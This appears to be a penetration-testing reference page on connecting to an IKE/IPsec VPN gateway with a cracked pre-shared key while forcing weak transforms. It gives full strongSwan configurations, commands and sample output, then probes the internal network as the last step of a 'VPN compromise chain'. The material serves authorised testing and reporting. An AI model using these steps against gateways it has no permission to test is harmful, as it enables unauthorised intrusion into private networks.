# IKE Weak Transform Set Connection

- **URL:** https://hackindex.io/services/ike/exploitation/ike-weak-cipher-connection
- **Path:** IKE > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ike/exploitation.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-30

## IKE Weak Cipher VPN Connection

When a gateway accepts weak cryptographic transforms and you hold a valid PSK (either recovered via cracking or obtained from a configuration file), you can establish a VPN tunnel using the weakest accepted combination. This confirms the gateway will negotiate a degraded session with a legitimate-looking peer, and it gives you network access through a tunnel that is weaker than the operator believes.

This page assumes you have a PSK from [IKEv1 Aggressive Mode PSK Capture and Cracking](https://hackindex.io/services/ike/exploitation/ike-aggressive-mode-psk-capture) and confirmed weak transforms from [IKE Weak Transform Set Detection](https://hackindex.io/services/ike/vulnerability-discovery/ike-weak-transform-sets).

## Connecting with strongSwan

strongSwan is the most flexible Linux IPsec client for pentest scenarios. Install it if not present:

```bash
sudo apt install strongswan -y
```

Edit `/etc/ipsec.conf` to define the connection using the weakest accepted transform:

```ini
conn target-vpn
    keyexchange=ikev1
    authby=secret
    left=%defaultroute
    leftid=$LHOST
    right=$TARGET_IP
    rightid=$TARGET_IP
    ike=3des-md5-modp1024!
    esp=3des-md5!
    aggressive=yes
    auto=add
```

The `!` suffix forces exactly this transform: strongSwan will not propose alternatives. Use the weakest accepted combination from your enumeration.

Store the PSK in `/etc/ipsec.secrets`:

```
$LHOST $TARGET_IP : PSK "RecoveredPSK"
```

Bring the tunnel up:

```bash
sudo ipsec restart
sudo ipsec up target-vpn
# initiating Aggressive Mode IKE_SA target-vpn[1] to 10.10.10.5
# generating AGGRESSIVE request 0 [ SA KE No ID V ]
# received AGGRESSIVE response 0 [ SA KE No ID HASH V V ]
# authentication of '10.10.10.5' with pre-shared key successful
# IKE_SA target-vpn[1] established between 10.10.0.1[10.10.0.1]...10.10.10.5[10.10.10.5]
```

`established` confirms the tunnel is up with the weak transform set.

## Verify Network Access

Check the new interface and routing created by the tunnel:

```bash
ip addr show
ip route show
```

A new `ipsec0` or `tun` interface appears. Probe the internal network through it:

```bash
ping -c 1 10.10.20.1
```

If routing is set up correctly, traffic to the internal network now flows through the VPN tunnel. From here, standard network enumeration applies against the now-reachable internal segment.

## Connecting with IKEv1 Main Mode

If Aggressive Mode is not required, use Main Mode with the weak transform:

Update `/etc/ipsec.conf`:

```ini
conn target-vpn-main
    keyexchange=ikev1
    authby=secret
    left=%defaultroute
    right=$TARGET_IP
    ike=des-md5-modp768!
    esp=des-md5!
    aggressive=no
    auto=add
```

`modp768` forces DH group 1 (768-bit MODP). This is the weakest possible combination and proves the gateway accepts completely broken key exchange parameters.

## Connecting with IKEv2 and Weak Transforms

If the gateway supports IKEv2 but accepts weak DH groups:

```ini
conn target-vpn-ikev2
    keyexchange=ikev2
    authby=secret
    left=%defaultroute
    right=$TARGET_IP
    ike=aes128-sha1-modp1024!
    esp=aes128-sha1!
    auto=add
```

This proves IKEv2 downgrade to weak DH is possible even without Aggressive Mode.

## Document the Finding

A successful weak-cipher connection demonstrates:

- Gateway accepts negotiation with a known-bad PSK source (previously cracked)
- Tunnel is established using deprecated or broken algorithms
- Internal network access is confirmed from an unauthenticated starting position

Combine this finding with the cracked PSK from Aggressive Mode for a complete VPN compromise chain: unauthenticated hash capture → offline PSK crack → authenticated tunnel with weak crypto → internal network access.

## References

- [strongSwan Wiki: IKEv1](https://wiki.strongswan.org/projects/strongswan/wiki/IKEv1) - IKEv1 configuration reference including aggressive mode, authby, and ike cipher string syntax
- [strongSwan Wiki: Cipher Suites](https://wiki.strongswan.org/projects/strongswan/wiki/CipherSuites) - Cipher string format reference for forcing specific transforms with the ! operator
